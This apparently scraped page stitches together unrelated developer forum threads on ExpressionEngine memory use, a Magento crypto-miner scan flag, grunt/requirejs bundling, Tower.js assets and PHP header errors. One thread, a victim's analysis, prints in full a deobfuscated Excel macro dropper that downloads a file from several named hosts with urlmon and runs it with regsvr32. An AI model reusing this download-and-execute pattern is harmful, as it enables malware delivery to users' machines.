High Memory Usage in ExpressionEngine Templates - expressionengine

I'm having an issue with, what I consider high memory usage, on a ExpressionEngine v2.5.3 install. This is a recent EE1 - EE2 upgrade if that makes a difference.
An empty template on this project uses 10MB of memory. I tested on another v2.5.3 project and an empty page there is using 2MB of memory. I'm seeing 30+MB usage on normal templates and frequently the browser loses its connection to the server.
Is an addon causing this increased memory usage? What's the best way to track this backwards?
The install is definitely acting up after this upgrade.
TEMPLATE DEBUGGING
(0.000011 / 9.01MB) - Begin Template Processing -
(0.000172 / 9.01MB) URI: test
(0.000185 / 9.01MB) Path.php Template: /
(0.000199 / 9.01MB) Retrieving Template
(0.000210 / 9.01MB) Parsing Template URI
(0.002112 / 9.02MB) Template Group Found: test
(0.002166 / 9.02MB) Retrieving Template from Database: test/index
(0.003599 / 9.02MB) Template Found
(0.003690 / 9.02MB) Template Type: webpage
(0.003711 / 9.02MB) Parsing Site Variables
(0.003767 / 9.02MB) Snippets (Keys): structure:is:page|structure:is:listing|structure:is:listing:parent|structure:page:entry_id|structure:page:template_id|structure:page:title|structure:page:slug|structure:page:uri|structure:page:url|structure:page:channel|structure:page:channel_short_name|structure:parent:entry_id|structure:parent:title|structure:parent:slug|structure:parent:uri|structure:parent:url|structure:parent:child_ids|structure:parent:channel|structure:parent:channel_short_name|structure:top:entry_id|structure:top:title|structure:top:slug|structure:top:uri|structure:top:url|structure:child_listing:channel_id|structure:child_listing:short_name|structure:freebie:entry_id|structure:child_ids|structure:sibling_ids|structure_1|structure_2|structure_3|structure_4|structure_5|structure_6|structure_7|structure_8|structure_9|structure_10|structure_last_segment|site_id|site_label|site_short_name|last_segment
(0.003784 / 9.02MB) Snippets (Values): FALSE||||||||||||||||||||||test|/test/|/test/||||||test||||||||||test|1|Ranch|default_site|test
(0.003926 / 9.02MB) Parse Date Format String Constants
(0.003943 / 9.02MB) Parse Current Time Variables
(0.003968 / 9.02MB) Parsing Segment, Embed, and Global Vars Conditionals
(0.007698 / 9.11MB) - Beginning Tag Processing -
(0.007719 / 9.11MB) - End Tag Processing -
(0.008645 / 9.12MB) Calling Extension Class/Method: Structure_ext/template_post_parse
(0.008789 / 9.11MB) - End Template Processing -
(0.008803 / 9.11MB) Parse Global Variables
(0.009574 / 9.11MB) Template Parsing Finished
Memory Usage: 10,163,144 bytes

Different versions of php, and different ways of implementing php ie: mod_php vs. fastcgi for instance, along with different functions enabled in php itself can lead to different levels of memory usage.
To test memory usage for just php being executed rather than in EE's template engine try the code below.
<?php
function echo_memory_usage() {
$mem_usage = memory_get_usage(true);
if ($mem_usage < 1024)
echo $mem_usage." bytes";
elseif ($mem_usage < 1048576)
echo round($mem_usage/1024,2)." kilobytes";
else
echo round($mem_usage/1048576,2)." megabytes";
echo "<br/>";
}
?>

you can pinpoint bottlenecks quite quickly with the Graphite add-on:
https://github.com/joelbradbury/Graphite.ee_addon
I find Graphite itself can really slow down your pages, but if you can get it to load ok it's awesome.

Starting with an empty template, with Template Debugging turned on, is a good start and eliminates any chance of tags causing the high memory use.
Is there anything different setting or add-on-wise between your 2Mb-usage installs and your current 10Mb-usage install? With template tags eliminated as a cause, you might want to look into add-ons that might be adding overhead, in particular extensions. Feel free to post the add-ons you have installed here.
Also disabling tracking and saving templates as files might save you some memory.

It seems the answer to my question is ~9MB is a normal starting level for a blank template on an EE install.
The template which starts at 2MB is on an EngineHosting VPS/VSC account with APC bytecode caching enabled, hence the difference in numbers.

Related

When I scan my magento website it Detected encoded JavaScript code commonly used to hide suspicious behaviour

When I scan my magento website (using tool: https://scanner.pcrisk.com/) it Detected encoded JavaScript code commonly used to hide suspicious behaviour.
Severity: Suspicious
Reason: Detected malicious crypto miner
Details: Detected encoded JavaScript code commonly used to hide suspicious behaviour.
Offset: 8
Threat dump: View code
File size[byte]: 347199
File type: HTML
MD5: 3830153B59E769056519C688A49C733E
Scan duration[sec]: 4.652
I didn't find anything in code.
Is there a way around it ?
I'd like to get rid of the "suspicious flag".

urlmon / URLDownloadToFil - Skipped downloads

To cut a long story short, I got duped: I opened a malicious Excel file and ran the macro.
After digging through the guts of the Excel file, the payload was highly obfuscated but I managed to piece it together:
=CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"http://onlinebrandedcontent.com/XXXXXX/","..\enu.ocx",0,0)
=IF(<0, CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"http://onlinebrandedcontent.com/XXXXXX/","..\enu.ocx",0,0))
=IF(<0, CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"https://onlyfansgo.com/XXXXXX/","..\enu.ocx",0,0))
=IF(<0, CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"http://www.marcoantonioguerrerafitness.com/XXXXXX/","..\enu.ocx",0,0))
=IF(<0, CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"http://acceptanceh.us/XXXXXX/","..\enu.ocx",0,0))
=IF(<0, CALL("urlmon","URLDownloadToFilA","JJCCBB",0,"http://gloselweb.com/XXXXXX/","..\enu.ocx",0,0))
=IF(<0, CLOSE(0),)
=EXEC("C:\Windows\SysWow64\r"&"eg"&"sv"&"r32.exe /s ..\enu.ocx")
=RETURN()
Note: actual full URLs above redacted to avoid accidental exposure by anyone reading this.
When accessed, the malicious URLs contain the following contents:
onlinebrandedcontent: Standard Apache file index page with no contents
onlyfansgo: Boilerplate hosting provider "Account Suspended" page with no inclusions or Javascript.
marcoantonioguerrerafitness / acceptanceh / gloselweb: Triggers download of a (presumably malicious) DLL file
It appears the code above only got as far as the onlyfansgo URL (enu.ocx on my machine contains the harmless HTML "Account Suspended" markup with a reference to webmaster#onlyfansgo.com), so it looks like I dodged a bullet (regsvr32.exe would have attempted to register a HTML file and failed).
My question: Why did the payload pull the onlyfansgo URL response but stop there? If it was willing to accept a HTML file as a successful download, why did it not stop at onlinebrandedcontent? Is it something to do with the fact that onlyfansgo is the only HTTPS URL in the list?

grunt concat js / css

I have created a web site using backbone + requirejs + bootstrap on client side and php REST on server side. The site contains a lot of .js file. I use requirejs to load the .js when it is needed (to implement asynchronous loading).
However, I have start using Node.js + Yeoman + grunt + bower recently. I use Yeoman webapp generator to create the basic structure of my web again. When I build my web, it concat all the .js files into 1 single .js file and put the tag on the index.html to refer it.
From my understand the pros is that the whole .js is cached in client's browser. which is slow at first time visit, but fast on re-visit. Since everything is concat to 1 file and it is loaded to the client's browser, so I guess the asynchronous loading is not work in this case. (correct me if I wrong).
* the web site is created for both mobile and desktop. (1 src for 2 version)
Should I concat all .js files in 1 single file
OR should I use requirejs to require the .js when I need it (Asynchronous loading)?
How to config requirejs in Node. I have tried it in normal way (include the data-main in index.html, when I compile using grunt build. it give me error "... is no more support".
Is browserify similar to requirejs in Node?
I have spent a week to figure it out already but still no luck. Hope someone can point me to the right direction. Thanks a lot.
The .js file structure is something like this:
-app
-vendor
-jquery.js
-backbone.js
-assets
-js
-model
-person.js
-collection
-people.js
-router.js
-controller.js
-dist
-js
-build.js
i had familiar issues. So lets start with strategy of file concatenation. There are three major ways to follow:
first - always concat all modules in one file, in this case you loose on first start and may win or next starts, but you can face another issue - you use less then half of modules from concatenated file at a time, but always load all modules.
second way is to build specific concatenated file with specific module set for each type of page - so you know how many page type you have and build file for each - following this you can decrease size of file, but its hardly to maintain and need manual sets correction in case of page changes.
third - build 1 concatenated file with libs and modules which in use nearly on all pages, all other stuff (additional modules, views, special models and collection) load on demand. This way is good in case of SPA pages.
Let me say a few words about grunt + r.js configauration.
Keep this link for first times .
Here is the sample of config:
requirejs: {
compile: {
options: {
baseUrl: "path/to/base",
mainConfigFile: "path/to/config.js",
name: "path/to/almond",
out: "path/to/optimized.js"
}
}
}
Main point here mainConfigFile - it is a file then you keep require.config
Next step - configure r.js - keep this link its very helpfull as describe all possibilities of r.js.
Usually its quite enough to checkout these links.
Also you can checkout recommend file structure for multi page site to avoid issues in future.
Also here is a link to a similar post - you may find it usefull.
If you have any additional questions let me know.
And a few words about CSS - logic nearlly the same : you can build separate file for each page or create sinngle. The main point here is how large your site is. In my case i've choose second option, but to be honest first one is more scalable, especially in large projects
I can get the requirejs work with Backbone now. However, I cannot use Marionette with error something like "Backbone is undefined". I've install Marionette with this command "bower install marionette --save". I did some search on google, and someone said use the AMD version of Marionette should fix this issue and after replace Marionette with AMD version it is work.
But my question is how can I install the AMD version of Marionette using "bower install"?
My web use bootstrap. When I compile the web with "grunt build". it copy bootstrap's font from "app/bower_components/bootstrap/dist/fonts" to "dist/bower_components/bootstrap/dist/fonts" but the web is refer the font on "dist/fonts". How can I change it to refer to the right directory?
I use yo webapp (with bootstrap) to generate the structure of my web.

Tower.js - how to use the minify/combine asset pipeline?

I understand that I have to create an assets.coffee file that configures how to compile and combine files together and the run cake assets:compile to actually do it.
However, I tried that and I get the message: No such task: assets:compile
A related question - will Tower also handle inserting the files into the actual HTML (for example, a layout, or header or footer view)? Because the complied resource names are random every time, I cannot imagine it being some kind of manual work?
The command for compiling assets is cake assets:bundle, https://github.com/viatropos/tower/blob/master/test/example/Cakefile#L15, which runs this method: https://github.com/viatropos/tower/blob/master/packages/tower-application/server/assets.coffee#L22

How to disable "header already sent" message on linux, cpanel?

I building my sites on the localhost (runs wamp on windows), and when I upload it to my server, I always get
"Cannot modify header information - headers already sent"
I understand that there shouldn't be any blank lines and everyhing, and usually this works out. but now I need to redirect someone after the header has been sent, how can I make my server act like my localhost ?
i'm using cpanel and WHM:
cPanel 11.25.0-R42399 - WHM 11.25.0 - X 3.9
CENTOS 5.4 x86_64 virtuozzo on vps
I will appreciate any help
In short, you need to prevent PHP from outputting anything to the browser before you get to the point where you want to use the header() function.
This should be done by careful programming practices, of which your 'no blank lines' is one, or by storing PHP's output in an output buffer, and only outputting when you're ready for it.
See the ob_start() and ob_flush() methods. You use ob_start() at the start of your application. This disables output and stores it into a buffer. When you're ready to start outputting, use ob_flush() and PHP will send the buffer's contents to the browser, including the headers that are set till that point. If you don't call ob_flush() then the buffer is output (flushed) at the end of the script.
The reason why it works on your WAMP development environment is most likely that output buffering is already enable by default in the php.ini. Quite often these all-in-one packages enable a default buffer for the first 4k bytes or so. However, it is generally better to explicitly start and flush the buffer in your code, since that forces better coding practices.
Well,
I guess by more thinking and better programing you can manage to keep all redirects before any HTML is written.
This problem solved by the old rules...
#user31279: The quickest and dirtiest way I know of is to use # to suppress the warning, so e.g.
#header('Location: some-other-page.php');

Resources